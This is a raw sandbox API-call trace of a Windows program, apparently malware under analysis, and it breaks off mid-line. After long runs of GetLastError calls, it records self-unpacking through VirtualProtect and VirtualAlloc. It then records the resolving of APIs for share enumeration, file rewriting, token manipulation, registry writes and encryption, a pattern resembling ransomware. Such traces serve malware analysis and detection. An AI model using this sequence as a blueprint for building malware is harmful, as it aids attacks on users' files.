GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0047.999] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.000] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.001] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.002] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.003] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.004] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.005] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.006] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.007] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.008] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.009] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.010] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.011] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.012] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.013] GetLastError () returned 0x0 [0048.708] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0048.708] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76d30000 [0048.709] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0048.709] VirtualProtect (in: lpAddress=0x9a05e0, dwSize=0x777e, flNewProtect=0x40, lpflOldProtect=0x18e240 | out: lpflOldProtect=0x18e240*=0x4) returned 1 [0048.728] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0048.728] GetProcAddress (hModule=0x76d30000, lpProcName="GlobalAlloc") returned 0x76d4588e [0048.728] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0048.728] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0048.729] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0048.729] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0048.729] GetProcAddress (hModule=0x76d30000, lpProcName="Module32First") returned 0x76dc5cd9 [0048.729] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0048.729] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x44 [0048.731] Module32First (hSnapshot=0x44, lpme=0x18f440) returned 1 [0048.732] VirtualAlloc (lpAddress=0x0, dwSize=0xa050, flAllocationType=0x1000, flProtect=0x40) returned 0x20000 [0048.736] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0048.736] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76d30000 [0048.737] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0048.737] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0048.737] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0048.737] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersionExA") returned 0x76d43519 [0048.737] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0048.737] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0048.737] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0048.737] SetErrorMode (uMode=0x400) returned 0x0 [0048.737] SetErrorMode (uMode=0x0) returned 0x400 [0048.738] GetVersionExA (in: lpVersionInformation=0x18e370*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}Çw") | out: lpVersionInformation=0x18e370*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0048.738] VirtualAlloc (lpAddress=0x0, dwSize=0x9200, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0048.739] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1d000, flNewProtect=0x40, lpflOldProtect=0x18f3f8 | out: lpflOldProtect=0x18f3f8*=0x2) returned 1 [0048.749] VirtualFree (lpAddress=0x30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0048.750] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x75660000 [0049.482] GetProcAddress (hModule=0x75660000, lpProcName="WNetEnumResourceW") returned 0x75663058 [0049.482] GetProcAddress (hModule=0x75660000, lpProcName="WNetOpenEnumW") returned 0x75662f06 [0049.482] GetProcAddress (hModule=0x75660000, lpProcName="WNetCloseEnum") returned 0x75662dd6 [0049.482] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76d30000 [0049.483] GetProcAddress (hModule=0x76d30000, lpProcName="DeviceIoControl") returned 0x76d4322f [0049.483] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForMultipleObjects") returned 0x76d44220 [0049.483] GetProcAddress (hModule=0x76d30000, lpProcName="FindNextFileW") returned 0x76d454ee [0049.483] GetProcAddress (hModule=0x76d30000, lpProcName="GetVolumeInformationW") returned 0x76d5c860 [0049.483] GetProcAddress (hModule=0x76d30000, lpProcName="CreateThread") returned 0x76d434d5 [0049.483] GetProcAddress (hModule=0x76d30000, lpProcName="Sleep") returned 0x76d410ff [0049.483] GetProcAddress (hModule=0x76d30000, lpProcName="WriteFile") returned 0x76d41282 [0049.484] GetProcAddress (hModule=0x76d30000, lpProcName="SetEndOfFile") returned 0x76d5ce2e [0049.484] GetProcAddress (hModule=0x76d30000, lpProcName="SetFilePointerEx") returned 0x76d5c807 [0049.484] GetProcAddress (hModule=0x76d30000, lpProcName="ReadFile") returned 0x76d43ed3 [0049.484] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileSizeEx") returned 0x76d459e2 [0049.484] GetProcAddress (hModule=0x76d30000, lpProcName="MoveFileW") returned 0x76d59af0 [0049.484] GetProcAddress (hModule=0x76d30000, lpProcName="SetFileAttributesW") returned 0x76d5d4f7 [0049.484] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0049.484] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcess") returned 0x76d41809 [0049.484] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0049.485] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0049.485] GetProcAddress (hModule=0x76d30000, lpProcName="FindClose") returned 0x76d44442 [0049.485] GetProcAddress (hModule=0x76d30000, lpProcName="GetVersion") returned 0x76d44467 [0049.485] GetProcAddress (hModule=0x76d30000, lpProcName="OpenProcess") returned 0x76d41986 [0049.485] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0049.485] GetProcAddress (hModule=0x76d30000, lpProcName="GetFileType") returned 0x76d43531 [0049.485] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleHandleA") returned 0x76d41245 [0049.485] GetProcAddress (hModule=0x76d30000, lpProcName="DuplicateHandle") returned 0x76d41886 [0049.486] GetProcAddress (hModule=0x76d30000, lpProcName="GetCurrentProcessId") returned 0x76d411f8 [0049.486] GetProcAddress (hModule=0x76d30000, lpProcName="ExitProcess") returned 0x76d47a10 [0049.486] GetProcAddress (hModule=0x76d30000, lpProcName="GetCommandLineW") returned 0x76d45223 [0049.486] GetProcAddress (hModule=0x76d30000, lpProcName="CreatePipe") returned 0x76dc415b [0049.487] GetProcAddress (hModule=0x76d30000, lpProcName="GetLastError") returned 0x76d411c0 [0049.487] GetProcAddress (hModule=0x76d30000, lpProcName="PeekNamedPipe") returned 0x76dc4821 [0049.487] GetProcAddress (hModule=0x76d30000, lpProcName="CreateProcessW") returned 0x76d4103d [0049.487] GetProcAddress (hModule=0x76d30000, lpProcName="GetSystemWindowsDirectoryW") returned 0x76d45213 [0049.487] GetProcAddress (hModule=0x76d30000, lpProcName="SetHandleInformation") returned 0x76d5195c [0049.487] GetProcAddress (hModule=0x76d30000, lpProcName="GetLocaleInfoW") returned 0x76d43c42 [0049.487] GetProcAddress (hModule=0x76d30000, lpProcName="GetModuleFileNameW") returned 0x76d44950 [0049.488] GetProcAddress (hModule=0x76d30000, lpProcName="Process32FirstW") returned 0x76d68baf [0049.488] GetProcAddress (hModule=0x76d30000, lpProcName="Process32NextW") returned 0x76d6896c [0049.488] GetProcAddress (hModule=0x76d30000, lpProcName="CreateMutexA") returned 0x76d44c6b [0049.488] GetProcAddress (hModule=0x76d30000, lpProcName="CreateToolhelp32Snapshot") returned 0x76d6735f [0049.488] GetProcAddress (hModule=0x76d30000, lpProcName="CreateDirectoryW") returned 0x76d44259 [0049.488] GetProcAddress (hModule=0x76d30000, lpProcName="CreateFileW") returned 0x76d43f5c [0049.488] GetProcAddress (hModule=0x76d30000, lpProcName="GetLogicalDrives") returned 0x76d45371 [0049.488] GetProcAddress (hModule=0x76d30000, lpProcName="WaitForSingleObject") returned 0x76d41136 [0049.488] GetProcAddress (hModule=0x76d30000, lpProcName="SetErrorMode") returned 0x76d41b00 [0049.489] GetProcAddress (hModule=0x76d30000, lpProcName="GetDriveTypeW") returned 0x76d4418b [0049.489] GetProcAddress (hModule=0x76d30000, lpProcName="FindFirstFileW") returned 0x76d44435 [0049.489] GetProcAddress (hModule=0x76d30000, lpProcName="CloseHandle") returned 0x76d41410 [0049.489] GetProcAddress (hModule=0x76d30000, lpProcName="DeleteCriticalSection") returned 0x77c745f5 [0049.489] GetProcAddress (hModule=0x76d30000, lpProcName="EnterCriticalSection") returned 0x77c622b0 [0049.489] GetProcAddress (hModule=0x76d30000, lpProcName="TerminateProcess") returned 0x76d5d802 [0049.489] GetProcAddress (hModule=0x76d30000, lpProcName="GetExitCodeProcess") returned 0x76d5174d [0049.489] GetProcAddress (hModule=0x76d30000, lpProcName="LeaveCriticalSection") returned 0x77c62270 [0049.489] GetProcAddress (hModule=0x76d30000, lpProcName="InitializeCriticalSection") returned 0x77c72c42 [0049.490] GetProcAddress (hModule=0x76d30000, lpProcName="GetEnvironmentVariableW") returned 0x76d41b48 [0049.490] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77130000 [0054.324] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfW") returned 0x7716e061 [0054.324] GetProcAddress (hModule=0x77130000, lpProcName="GetShellWindow") returned 0x7716e8a8 [0054.325] GetProcAddress (hModule=0x77130000, lpProcName="GetWindowThreadProcessId") returned 0x771491b4 [0054.325] GetProcAddress (hModule=0x77130000, lpProcName="wsprintfA") returned 0x7715ae5f [0054.325] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77710000 [0054.325] GetProcAddress (hModule=0x77710000, lpProcName="CryptDestroyKey") returned 0x7771c51a [0054.325] GetProcAddress (hModule=0x77710000, lpProcName="CryptEncrypt") returned 0x7773779b [0054.325] GetProcAddress (hModule=0x77710000, lpProcName="CryptImportKey") returned 0x7771c532 [0054.325] GetProcAddress (hModule=0x77710000, lpProcName="CryptGenRandom") returned 0x7771dfc8 [0054.325] GetProcAddress (hModule=0x77710000, lpProcName="CryptAcquireContextW") returned 0x7771df14 [0054.325] GetProcAddress (hModule=0x77710000, lpProcName="CryptDecrypt") returned 0x77753178 [0054.325] GetProcAddress (hModule=0x77710000, lpProcName="OpenProcessToken") returned 0x77724304 [0054.325] GetProcAddress (hModule=0x77710000, lpProcName="GetTokenInformation") returned 0x7772431c [0054.326] GetProcAddress (hModule=0x77710000, lpProcName="SetTokenInformation") returned 0x77719a92 [0054.326] GetProcAddress (hModule=0x77710000, lpProcName="RegCreateKeyExW") returned 0x777240fe [0054.326] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExW") returned 0x7772468d [0054.326] GetProcAddress (hModule=0x77710000, lpProcName="RegCloseKey") returned 0x7772469d [0054.326] GetProcAddress (hModule=0x77710000, lpProcName="RegSetValueExW") returned 0x777214d6 [0054.326] GetProcAddress (hModule=0x77710000, lpProcName="DuplicateTokenEx") returned 0x7771ca24 [0054.326] GetProcAddress (hModule=0x77710000, lpProcName="RegQueryValueExA") returned 0x777248ef [0054.326] GetProcAddress (hModule=0x77710000, lpProcName="RegOpenKeyExA") returned 0x77724907 [0054.326] GetProcAddress (hModule=0x77710000, lpProcName="CryptReleaseContext") returned 